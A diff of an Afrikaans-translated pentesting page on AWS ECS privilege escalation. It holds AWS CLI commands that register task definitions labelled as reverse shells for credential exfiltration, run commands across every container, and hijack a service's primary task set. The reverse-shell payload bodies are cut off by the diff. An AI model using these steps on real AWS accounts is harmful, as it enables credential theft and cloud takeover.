@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** Direkte privesc na enige ECS taakrol.
**Potensiële Impak:** Direkte privesc na enige ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige kontener** wat die metadata credentials steel en **dit uitvoer**.\
Egter, in hierdie geval moet daar 'n container instance wees om die kwaadaardige taakdefinisie uit te voer.
Soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata credentials steel en **dit laat loop**.\
Echter, in hierdie geval moet 'n container instance beskikbaar wees om die kwaadwillige task definition uit te voer.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **genereer 'n nuwe task definition** met 'n **skadelike container** wat die metadata credentials steel en dit **voer dit uit deur 'n nuwe service te skep met ten minste 1 taak wat loop.**
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metadata-credentials steel en **dit uitvoer deur 'n nuwe service te skep met ten minste 1 taak wat uitgevoer word.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potensiële impak:** Direkte privesc na enige ECS-rol.
**Potential Impact:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
In werklikheid, net met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre opdragte in 'n container met 'n arbitrêre rol uit te voer met iets soos:
Eintlik net met daardie toestemmings is dit moontlik om overrides te gebruik om willekeurige kommando's in 'n container met 'n willekeurige rol uit te voer met iets soos:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potensiële impak:** Direkte privesc na enige ECS role.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\
Dit is steeds interessant omdat as jy 'n ewekansige container kan uitvoer, selfs al is dit sonder 'n role, kan jy **'n privileged container laat loop om na die node te ontsnap** en **die EC2 IAM role** en **die ander ECS containers se roles** wat op die node loop, te steel.\
Jy kan selfs **ander tasks dwing om binne die EC2 instance** wat jy kompromitteer te loop om hul credentials te steel (as bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Dit is steeds interessant omdat as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, jy 'n **geprivilegieerde container kan laat loop om na die node te ontsnap** en die **EC2 IAM-rol kan steel** en die **ander ECS-containerrolle** wat op die node loop.\
Jy kan selfs **ander take dwing om binne die EC2-instansie te loop** wat jy kompromiteer om hul inloginligting te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Hierdie aanval is slegs moontlik as die **ECS cluster gebruik EC2** instances en nie Fargate nie.
> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2-instansies gebruik** en nie Fargate nie.
```bash
printf '[
{
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
’n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die IAM-rol wat daaraan geheg is, eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te loop).\
Om dit te doen moet die containerinstansie egter die **ExecuteCommand agent** laat loop (wat standaard nie so is nie).
'n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die daaraan gekoppelde IAM-rol eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te laat loop).\
Om dit te doen moet die container-instansie egter die **ExecuteCommand agent** laat loop (wat standaard nie die geval is nie).
Daarom kan die aanvaller probeer om:
- **Probeer 'n opdrag uit te voer** in elke lopende container
- **Probeer 'n opdrag in elke lopende container uit te voer**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -263,11 +263,11 @@ aws ecs execute-command --interactive \
Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.
**Potensiële impak:** Privesc na 'n ander rol wat aan houers gekoppel is.
**Potensiële impak:** Privesc na 'n ander rol wat aan kontainers gekoppel is.
### `ssm:StartSession`
Kyk in die **ssm privesc page** hoe jy hierdie toestemming kan misbruik om **privesc to ECS**:
Kyk in die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Kyk in die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **privesc to ECS**:
Kyk in die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om **privesc na ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
'n Aanvaller met hierdie permissies kan potensieel 'n EC2 instance registreer in 'n ECS cluster en take daarop uitvoer. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS tasks.
'n Aanvaller met hierdie toestemmings kan moontlik 'n EC2-instans in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS-take.
- TODO: Is dit moontlik om 'n instance te registreer vanaf 'n ander AWS account sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
- TODO: Is dit moontlik om 'n instans vanaf 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Toets dit
'n Aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set skep vir 'n bestaande ECS service en die primary task set opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
'n Aanvaller met die toestemmings `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set vir 'n bestaande ECS service skep en die primêre task set opdateer**. Dit laat die aanvaller toe om **arbitrêre kode binne die diens uit te voer**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potensiële impak**: Voer ewekansige kode uit in die aangetaste diens, wat moontlik sy funksionaliteit beïnvloed of die eksfiltrering van sensitiewe data tot gevolg hê.
**Potensiële impak**: Voer willekeurige kode uit in die geraakte diens, wat moontlik sy funksionaliteit beïnvloed of exfiltrating sensitive data.
## Verwysings